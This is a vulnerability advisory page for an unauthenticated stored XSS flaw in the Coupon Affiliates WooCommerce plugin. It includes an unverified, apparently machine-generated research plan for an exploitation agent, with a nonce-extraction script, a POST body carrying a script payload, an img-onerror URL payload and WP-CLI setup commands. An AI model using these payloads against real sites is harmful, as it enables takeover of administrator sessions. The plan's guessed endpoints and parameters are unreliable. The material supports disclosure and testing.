CVE-2026-40770

Coupon Affiliates – Affiliate Plugin for WooCommerce <= 7.5.3 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
7.6.0
Patched in
10d
Time to patch

Description

The Coupon Affiliates – Affiliate Plugin for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 7.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.5.3
PublishedApril 21, 2026
Last updatedApril 30, 2026
Affected pluginwoo-coupon-usage

What Changed in the Fix

Changes introduced in v7.6.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2026-40770**, an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the **Coupon Affiliates** plugin for WordPress. --- ### 1. Vulnerability Summary The **Coupon Affiliates – Affiliate Plugin for WooCommerce** (…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2026-40770, an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Coupon Affiliates plugin for WordPress.


1. Vulnerability Summary

The Coupon Affiliates – Affiliate Plugin for WooCommerce (versions <= 7.5.3) fails to properly sanitize and escape user-supplied input during the unauthenticated affiliate registration or tracking process. An attacker can submit a malicious payload (e.g., in registration fields or referral parameters) which is stored in the database. When a site administrator views the affiliate details in the admin dashboard (as evidenced by css/admin-view-affiliate.css), the payload executes in the administrator's browser context.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (AJAX-based registration) or the registration page itself.
  • Action: wcusage_register_affiliate (unauthenticated AJAX action, inferred from standard plugin patterns).
  • Vulnerable Parameters: Registration fields such as wcu_first_name, wcu_last_name, wcu_user_login, or metadata fields like "Website URL".
  • Authentication Level: Unauthenticated (no account required).
  • Preconditions:
    • WooCommerce must be installed and active.
    • Affiliate registration must be enabled in the plugin settings (usually default or easily toggled).

3. Code Flow (Inferred)

  1. Submission: An unauthenticated user submits the affiliate registration form.
  2. Processing: The plugin captures the data via a wp_ajax_nopriv_wcusage_register_affiliate hook.
  3. Storage: The input is stored using update_user_meta() or inserted into a custom table (e.g., wp_wcusage_affiliates) without passing through sanitize_text_field() or wp_kses().
  4. Admin Access: An administrator navigates to Coupon Affiliates > Affiliates and clicks on the malicious affiliate.
  5. Rendering: The file responsible for rendering the admin view (associated with css/admin-view-affiliate.css and the hook admin_page_wcusage_view_affiliate) echoes the stored data directly.
  6. Sink: echo $stored_metadata; (lacking esc_html() or esc_attr()).

4. Nonce Acquisition Strategy

The registration form likely requires a security nonce to prevent CSRF, but the nonce itself is typically exposed on the registration page to unauthenticated users.

Steps to obtain the nonce:

  1. Identify Shortcode: The plugin uses the shortcode [coupon_affiliates_registration] to display the registration form.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Affiliate Reg" --post_status=publish --post_content='[coupon_affiliates_registration]'
    
  3. Navigate and Extract: Use the browser_navigate tool to go to the newly created page.
  4. Identify Variable: Look for a localized script object. Based on common patterns in this plugin, search for:
    • wcusage_registration_params
    • wcusage_ajax_obj
  5. Execution Agent Command:
    // Run in browser_eval to find the nonce
    const nonce = window.wcusage_registration_params?.nonce || 
                  window.wcusage_ajax_obj?.nonce || 
                  document.querySelector('input[name="_wpnonce"]')?.value;
    return nonce;
    

5. Exploitation Strategy

  1. Identify Target Action: Verify if the registration uses admin-ajax.php with action=wcusage_register_affiliate.
  2. Construct Payload:
    • Payload: <script>alert(document.domain);</script> (or a more complex admin-takeover payload).
    • Parameter: wcu_first_name or wcu_last_name.
  3. Submit Request: Use http_request to simulate the form submission.
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body:
      action=wcusage_register_affiliate&wcu_first_name=<script>alert('XSS')</script>&wcu_last_name=Attacker&wcu_user_login=evil_affiliate&wcu_user_email=evil@example.com&wcu_coupon_code=HACKED&_wpnonce=[EXTRACTED_NONCE]
      
  4. Trigger Execution:
    • Log in as an Administrator using browser_navigate.
    • Navigate to the affiliate management page: http://localhost:8080/wp-admin/admin.php?page=wcusage_affiliates.
    • View the newly created "Affiliate".

6. Test Data Setup

  1. Active Dependencies:
    wp plugin install woocommerce --activate
    wp plugin activate woo-coupon-usage
    
  2. Configure Plugin: Ensure registration is public.
    wp option update wcusage_options '{"enable_registration":"1"}' --format=json
    
  3. Page Creation: Create the page with [coupon_affiliates_registration] for nonce extraction.

7. Expected Results

  • Submission Response: The AJAX request should return a success message or a redirect status.
  • Stored State: The payload <script>alert('XSS')</script> should be visible in the database (e.g., in wp_usermeta for the new user).
  • Execution: When the admin views the "Affiliates" page, a browser alert with 'XSS' should appear.

8. Verification Steps

  1. Database Check:
    wp user get evil_affiliate --fields=ID
    wp user meta get [USER_ID] first_name
    
    Confirm that the value contains the raw <script> tag.
  2. Admin UI Check: Use browser_navigate to the admin affiliate view and use browser_eval to check for the presence of the script in the DOM.

9. Alternative Approaches

If the registration AJAX endpoint is not the primary sink:

  • Referral Tracking: Test the wcu_ref or coupon URL parameters.
    • URL: http://localhost:8080/?wcu_ref=<img src=x onerror=alert(1)>
    • Check if the "Referral Visits" or "Recent Clicks" section in the admin dashboard (Coupon Affiliates > Dashboard) renders this value unsanitized.
  • Affiliate Settings: If an affiliate can edit their own profile/settings in a frontend dashboard, test those fields for XSS that triggers when the admin views the affiliate's profile.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.